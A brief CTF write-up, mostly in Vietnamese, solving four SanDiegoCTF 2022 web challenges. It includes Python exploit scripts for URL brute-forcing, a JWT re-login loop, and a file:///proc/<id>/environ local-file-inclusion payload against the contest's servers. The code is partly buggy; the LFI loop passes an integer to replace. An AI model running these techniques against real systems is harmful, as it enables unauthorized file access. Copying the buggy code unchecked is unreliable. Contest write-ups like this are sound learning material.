Skip to main content

Command Palette

Search for a command to run...

SanDiegoCTF 2022

Updated
2 min read
SanDiegoCTF 2022
T

College Student ⚔ CTF player ⚔ Web Warrior

Note nhanh sollution 4 bài web trong giải này.

Apollo 1337

Bài này chỉ để làm quen với các tool nên coi hết video của họ là solve được

sdctf{0ne_GiANT_L3AP_4_tH3_NeXT_gENERa7i0n}

Lots of Logs

Hướng đi của bài này là bruteforce các log file theo dạng https://logs.sdc.tf/logs/<year>/<month>/<date>/<weekday>.log

script exploit:

from datetime import datetime
import requests

TARGET = "https://logs.sdc.tf/logs/"

found = False
for year in range (2018, 2019):
    for month in range (1,12):
        for date in range (1,31):
            try: 
                current = datetime(year,month, date).strftime("%A")[0:3]
                r = requests.get(TARGET + f"{year}/{month}/{date}/{current}.log")
                if "sdc" in r.text: 
                    print("[-] Found with url: " + TARGET + f"{year}/{month}/{date}/{current}.log")
                    quit()
            except:
                pass

sdctf{b3tr4y3d_by_th3_l0gs_8a4dfd}

JaWT that down!

Bài này khó ở chỗ jwt chỉ có giá trị trong một khoảng thời gian ngắn (trường exp) nên cách giải quyết sẽ là re-login sau mỗi request. Mỗi response trả về tương ứng sẽ tướng ứng với từng kí tự tiếp theo của flag.

script exploit:

import requests

s = requests.Session()
TARGET = "https://jawt.sdc.tf/"

cre = {"username": "AzureDiamond", "password": "hunter2"}


url = TARGET + "s"
flag = "s"       

while True:
    s = requests.Session()
    r = s.post(TARGET + 'login', data=cre)
    r = s.get(url)
    if r.status_code != 200:
        break   
    url += '/' + r.text   

    flag += r.text
    print(flag)


print(f"[-]Flag: {flag}")

sdctf{Th3_m0r3_t0k3ns_the_le55_pr0bl3ms_adf3d}

CURL Up and Read

Server cho một ô để nhập url, sau đó hiển thị response nhận được từ url này cho user. Hướng đi của bài là khai thác lỗi LFI bằng payload: file:///proc/<id>/environ. Ở đây curl command sẽ chạy trong process con do hàm execFileSync nên việc ta cần làm là bruteforce process id của process cha và grep flag.

from base64 import b64encode
import requests

TARGET = "https://curl.sdc.tf"

for i in range (1000):
    print(f"[-] Trying {i}")
    data = '{"url": "file:///proc/ID/environ"}'.replace('ID', i)
    data_base64 = b64encode(data.encode()).decode()
    r = requests.get(TARGET + "/read/" + data_base64)
    if "Internal Server Error" not in r.text:
        if "sdctf" in r.text:
            print("[-] Found: " + TARGET + "/read/" + data_base64)
            break

sdctf{CURL_up_aNd_L0c@L_F1le_incLuSi0N}

22 views

More from this blog

to^

24 posts

College Student ⚔ CTF player ⚔ Web Warrior